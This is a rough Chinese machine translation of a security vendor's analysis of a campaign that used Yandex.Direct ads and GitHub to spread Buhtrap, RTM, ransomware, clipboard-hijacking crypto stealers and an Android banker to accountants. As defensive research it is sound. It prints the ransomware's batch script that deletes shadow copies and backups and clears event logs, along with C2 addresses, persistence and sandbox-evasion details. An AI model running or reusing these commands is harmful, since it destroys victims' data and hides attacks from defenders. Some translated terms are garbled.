使用Yandex.Direct分发后门和Buhtrap加密器

要针对会计师进行网络攻击,您可以使用他们在网络上寻找的工作文档。 在过去的几个月中,这样的事情已经成为一个网络组织,该组织分发了著名的后门BuhtrapRTM以及加密器和窃取加密货币的软件。 大多数目标位于俄罗斯。 攻击是通过在Yandex.Direct中放置恶意广告来实现的。 潜在的受害者去了一个网站,要求他们下载伪装成文档模板的恶意文件。 Yandex在我们发出警告后删除了恶意广告。

Buhtrap的源代码过去已经合并到网络中,因此任何人都可以使用它。 我们没有有关RTM代码可用性的信息。

在一篇文章中,我们将介绍攻击者如何使用Yandex.Direct分发恶意软件并将其托管在GitHub上。 该职位将通过对恶意软件的技术分析来完成。



Buhtrap和RTM重新营业


分配机制与受害者


交付给受害者的各种有效载荷通过一个共同的分配机制进行统一。 网络罪犯创建的所有恶意文件都位于两个不同的GitHub存储库中。

通常在存储库中有一个下载的恶意文件,该文件经常更改。 由于您可以查看GitHub上存储库中更改的历史记录,因此我们可以看到在特定时期内传播了哪种恶意软件。 为了说服受害者下载恶意文件,使用了上图所示的网站blanki-shabloni24 [。] Ru。

该网站的设计和所有恶意文件的名称在一个概念(表格,模板,合同,样本等)中都是一致的。鉴于过去曾使用Buhtrap和RTM软件对会计师进行攻击,因此我们认为新策略中的策略是相同的。 唯一的问题是受害者如何到达攻击者的现场。

传染病


该网站上至少有一些潜在的受害者被恶意广告吸引。 以下是示例URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term= &pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

正如您从链接中看到的那样,标语已张贴在合法的会计论坛bb.f2 [。] Kz上。 重要的是要注意,标语出现在不同的网站上,每个人都有相同的广告系列ID(blanki_rsya),并且大多数与会计或法律援助服务有关。 从URL可以看出,潜在的受害者使用了请求“下载帐户表格”,这加强了我们关于目标攻击的假设。 以下列出了出现标语和相关搜索的站点。

  • 下载帐户表格-bb.f2 [。] kz
  • 样本合同-Ipopen [。] zh
  • 声明投诉样本-77metrov [。] ru
  • 合同表格-blank-dogovor-kupli-prodazhi [。] zh
  • 请愿书样本-zen.yandex [。] ru
  • 样本投诉-星期四[。] zh
  • 合同范本样本-Regforum [。] zh
  • 合同表格-aidentus [。] zh
  • 公寓协议样本-napravah [。] com
  • 合法合同样本-avito [。] ru

blanki-shabloni24 [。] Ru网站可能已设置为可以进行简单的视觉评估。 通常,通过广告链接到具有GitHub链接的具有专业外观的网站,看起来并没有什么坏处。 此外,攻击者可能会在活动期间,仅在有限的时间内将恶意文件上传到资源库。 GitHub上的大多数存储库是一个空的zip存档或干净的exe文件。 因此,攻击者可以通过Yandex.Direct在最有可能受到特定搜索查询的会计师访问的网站上分发广告。

接下来,考虑以这种方式分配的各种有效负载。

有效负载分析


发行时间表


该恶意软件活动于2018年10月底开始,并在撰写本文时有效。 由于整个存储库都可以在GitHub上公开获得,因此我们对六个不同恶意软件家族的分布进行了准确的编年(请参见下图)。 根据ESET遥测,我们添加了一条线,显示出检测到横幅链接的时刻,以与git历史记录进行比较。 如您所见,这与GitHub上有效负载的可用性紧密相关。 2月底的差异可以用我们缺少变更历史记录的部分原因来解释,因为在我们完全获得存储库之前,已从GitHub删除了该存储库。


图1. malvari分布的年表。

证书签名证书


该活动使用了大量证书。 有些人已经签署了一个以上的恶意软件家族,这另外表明不同的样本属于同一活动。 尽管可以使用私钥,但是操作员并未系统地对二进制文件进行签名,也没有对所有样本使用密钥。 从2019年2月底开始,攻击者开始使用Google拥有的证书创建无效签名,这些证书没有私钥。

下表中列出了该活动所涉及的所有证书及其所签署的Malvari家庭。



我们还使用这些代码签名证书与其他恶意软件家族进行通信。 对于大多数证书,我们找不到不会通过GitHub存储库分发的示例。 但是,TOV“ MARIYA”证书用于签署由Wauchos 僵尸网络 ,广告软件和矿工拥有的Malvari。 该恶意软件不太可能与此广告系列相关联。 证书很可能是在Darknet上购买的。

Win32 / Filecoder.Buhtrap


引起我们注意的第一个组件是第一个发现的Win32 / Filecoder.Buhtrap。 这是一个Delphi二进制文件,有时可以打包。 它主要在2019年2月至3月发行。 它的行为就像勒索软件程序一样-它搜索本地磁盘和网络文件夹并加密检测到的文件。 为了妥协,他不需要Internet连接,因为他不联系服务器来发送加密密钥。 相反,他在回购消息的末尾添加了一个“令牌”,并建议使用电子邮件或Bitmessage与运营商进行通信。

为了尽可能多地加密重要资源,Filecoder.Buhtrap启动了一个旨在关闭关键软件的流,该软件可能会打开带有有价值信息的文件处理程序,从而可能干扰加密。 目标流程主要是数据库管理系统(DBMS)。 此外,Filecoder.Buhtrap会删除日志文件和备份,从而使数据恢复变得困难。 为此,将执行下面的批处理脚本。

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
attrib "%userprofile%\documents\Default.rdp" -s -h
del "%userprofile%\documents\Default.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled


Filecoder.Buhtrap使用合法的在线服务IP记录器,该记录器用于收集有关站点访问者的信息。 这旨在跟踪由命令行负责的编码器的受害者:

mshta.exe "javascript:document.write('');"

如果三个例外列表不匹配,则选择要加密的文件。 首先,具有以下扩展名的文件未加密:.com,.cmd,.cpl,.dll,.exe,.hta,.lnk,.msc,.msi,.msp,.pif,.scr,.sys和.bat。 其次,排除所有完整路径包含以下列表中目录行的文件。

\.{ED7BA470-8E54-465E-825C-99712043E01C}\
\tor browser\
\opera\
\opera software\
\mozilla\
\mozilla firefox\
\internet explorer\
\google\chrome\
\google\
\boot\
\application data\
\apple computer\safari\
\appdata\
\all users\
:\windows\
:\system volume information\
:\nvidia\
:\intel\


第三,某些文件名也被排除在加密之外,其中包括带有赎金要求的消息文件名。 该列表如下所示。 显然,所有这些例外都是为了保留启动机器的能力而设计的,但其可用性最低。

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe


文件加密方案


一旦启动,该恶意软件就会生成一对512位RSA密钥。 然后,使用硬编码的2048位公共密钥(公共指数和模块)对私有指数(d)和模块(n)进行加密,zlib打包并在base64中进行编码。 负责此工作的代码如图2所示。


图2.生成512位RSA密钥对的过程的Hex-Rays反编译结果。

以下是带有生成的私钥的纯文本示例,该私钥是附在赎金消息上的令牌。

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

攻击者的公共密钥如下所示。

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD


使用带有256位密钥的AES-128-CBC对文件进行加密。 对于每个加密文件,都会生成一个新密钥和一个新的初始化向量。 密钥信息将添加到加密文件的末尾。 考虑加密的文件格式。
加密的文件具有以下标头:



加上VEGA magic值的源文件数据将被加密,直到前0x5000字节为止。 所有用于解密的信息都将附加到具有以下结构的文件中:



-文件大小标记包含一个标签,用于指示文件是否大于0x5000字节
-AES密钥blob = ZlibCompress(RSAEncrypt(AES密钥+ IV,生成的RSA密钥对的公共密钥)
-RSA密钥blob = ZlibCompress(RSAEncrypt(生成的RSA私钥,硬编码的RSA公钥))

Win32 / ClipBanker


Win32 / ClipBanker是一个组件,已从2018年10月下旬至2018年12月上旬间歇分发。 它的作用是跟踪剪贴板的内容,它查找加密货币钱包的地址。 确定目标钱包的地址后,ClipBanker将其替换为据称属于运营商的地址。 我们研究的样品既没有包装也没有混淆。 用来屏蔽行为的唯一机制是字符串加密。 运营商的钱包地址使用RC4加密。 目标加密货币-比特币,比特币现金,狗狗币,以太坊和瑞波币。

在恶意软件分发期间,少量MTC被发送到攻击者的比特币钱包的MTC,这使人们对该活动的成功表示怀疑。 此外,没有理由假定这些交易通常与ClipBanker有关。

Win32 / RTM


Win32 / RTM组件于2019年3月上旬分发了几天。 RTM是基于Delphi的Trojan银行家,致力于远程银行系统。 ESET研究人员在2017年发布了对该程序的详细分析 ,该描述仍然有意义。 在2019年1月,Palo Alto Networks还发布了有关RTM的博客文章

Buhtrap下载器


一段时间以来,与以前的Buhtrap工具不同,GitHub上有一个下载器。 https://94.100.18[.]67/RSS.php?<some_id>转到https://94.100.18[.]67/RSS.php?<some_id> ,并将其直接加载到内存中。 可以区分第二阶段代码的两种行为。 在第一个URL中,RSS.php直接通过Buhtrap后门-此后门与源代码泄漏后可用的后门非常相似。

有趣的是,我们看到了几个带有Buhtrap后门的战役,大概是由不同的运营商领导的。 在这种情况下,主要区别在于后门直接加载到内存中,并且不与DLL部署过程一起使用通常的方案,我们在前面已经谈到 。 此外,运营商还更改了用于加密到C&C服务器的网络流量的RC4密钥。 在我们看到的大多数活动中,操作员并不关心更改此键。

第二个更复杂的行为-RSS.php URL由另一个加载程序传递。 它实现了一些混淆,例如重建动态导入表。 引导加载程序的目的是联系C&C服务器msiofficeupd [。] Com / api / F27F84EDA4D13B15 / 2,发送日志并等待答案。 它将响应作为Blob处理,将其加载到内存中并执行。 我们在执行该加载程序时看到的有效负载与Buhtrap后门相同,但是可能还有其他组件。

Android /间谍银行


有趣的是,还在GitHub存储库中找到了Android组件。 他在主分支仅停留了一天-2018年11月1日。 除了托管在GitHub上之外,ESET遥测还没有发现该恶意软件传播的证据。

该组件托管为Android应用程序包(APK)。 他很困惑。 恶意行为隐藏在APK中的加密J​​AR中。 使用此密钥对RC4进行加密:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]


相同的密钥和算法用于加密字符串。 JAR位于APK_ROOT + image/files 。 文件的前4个字节包含加密的JAR的长度,该长度从length字段之后立即开始。

解密文件后,我们发现它是Anubis-以前有记录的Android银行家。 恶意软件具有以下功能:

  • 麦克风录音
  • 截屏
  • 获取GPS坐标
  • 键盘记录器
  • 设备数据加密和赎金要求
  • 垃圾邮件

有趣的是,银行家使用Twitter作为备用通信渠道来获取另一台C&C服务器。 我们分析的样本使用@JohnesTrader帐户,但在分析时已被阻止。

银行家包含Android设备上的目标应用程序列表。 它已经比从Sophos研究获得的清单更长。 该列表包含许多银行应用程序,在线购物程序(例如Amazon和eBay),加密货币服务。

MSIL / ClipBanker.IH


作为该活动的一部分分发的最后一个组件是.NET Windows可执行文件,该可执行文件于2019年3月出现。 研究的大多数版本都由ConfuserEx v1.0.0打包。 像ClipBanker一样,此组件使用剪贴板。 它的目标是广泛的加密货币以及Steam上的产品。 此外,它使用IP Logger服务来窃取比特币的专用WIF密钥。

保护机制
除了ConfuserEx以抵消调试,转储和篡改形式提供的优点外,该组件还具有检测反病毒产品和虚拟机的能力。

为了检查虚拟机中的启动,恶意软件使用Windows内置的WMI命令行(WMIC)请求有关BIOS的信息,即:

wmic bios

然后,程序将解析命令的输出并搜索关键字:VBOX,VirtualBox,XEN,qemu,bochs,VM。

为了检测防病毒产品,恶意软件使用ManagementObjectSearcher API将Windows Management Instrumentation(WMI)请求发送到Windows安全中心,如下所示。 从base64解码后,调用看起来像这样:

ManagementObjectSearcher('root\\SecurityCenter2', 'SELECT * FROM AntivirusProduct')


图3.确定防病毒产品的过程。

此外,该恶意软件还会检查CryptoClipWatcher (一种防止剪贴板攻击的工具)是否正在运行,如果正在运行,则会暂停该进程的所有线程,从而关闭保护功能。

坚持不懈


我们研究的恶意软件版本将其自身复制到%APPDATA%\google\updater.exe ,并将“ hidden”属性设置为google目录。 然后,它更改Windows注册表中Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell ,并添加路径updater.exe 。 因此,恶意软件将在用户每次登录时执行。

恶意行为


与ClipBanker一样,该恶意软件会监视剪贴板中的内容并查找加密货币钱包的地址,并在找到时将其替换为操作员的地址之一。 下面是基于代码中发现的目标地址的列表。

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

对于每种类型的地址,都有一个对应的正则表达式。 从正则表达式可以看出,值STEAM_URL用于攻击Steam系统,该正则表达式用于确定缓冲区中的值:

\b(https:\/\/|http:\/\/|)steamcommunity\.com\/tradeoffer\/new\/\?partner=[0-9]+&token=[a-zA-Z0-9]+\b

渗出通道


除了替换缓冲区中的地址之外,该恶意软件还针对比特币,比特币核心和Electrum比特币钱包的专用WIF密钥。 该程序使用plogger.org作为渗透渠道来获取WIF私钥。 为此,操作员将私钥数据添加到User-Agent HTTP标头中,如下所示。


图4.带输出的IP Logger控制台。

运营商没有使用iplogger.org窃取钱包。 由于IP Logger Web界面中显示的User-Agent字段限制255个字符,因此他们可能采用了另一种方法。 在我们研究的样本中,另一个用于输出数据的服务器存储在DiscordWebHook环境DiscordWebHook 。 令人惊讶的是,此环境变量未在代码中的任何位置分配。 这表明该恶意软件仍在开发中,并且已在操作员的测试机上分配了该变量。

还有另一个迹象表明该程序正在开发中。 该二进制文件包含两个iplogger.org URL,并且在提取数据时将请求发送给这两个URL。 在对这些URL之一的请求中,“引荐来源”字段中的值前面带有“ DEV /”。 我们还找到了一个未使用ConfuserEx打包的版本,该URL的收件人名为DevFeedbackUrl。 根据环境变量的名称,我们认为运营商计划使用合法的Discord服务及其Web拦截系统来窃取加密货币钱包。

结论


此活动是在网络攻击中使用合法广告服务的一个示例。 该计划针对的是俄罗斯组织,但是看到使用非俄罗斯服务的这种攻击我们不会感到惊讶。 为了避免妥协,用户必须对下载软件的来源信誉充满信心。

此处提供了MITER ATT&CK危害和属性指示器的完整列表。

Source: https://habr.com/ru/post/zh-CN450126/


All Articles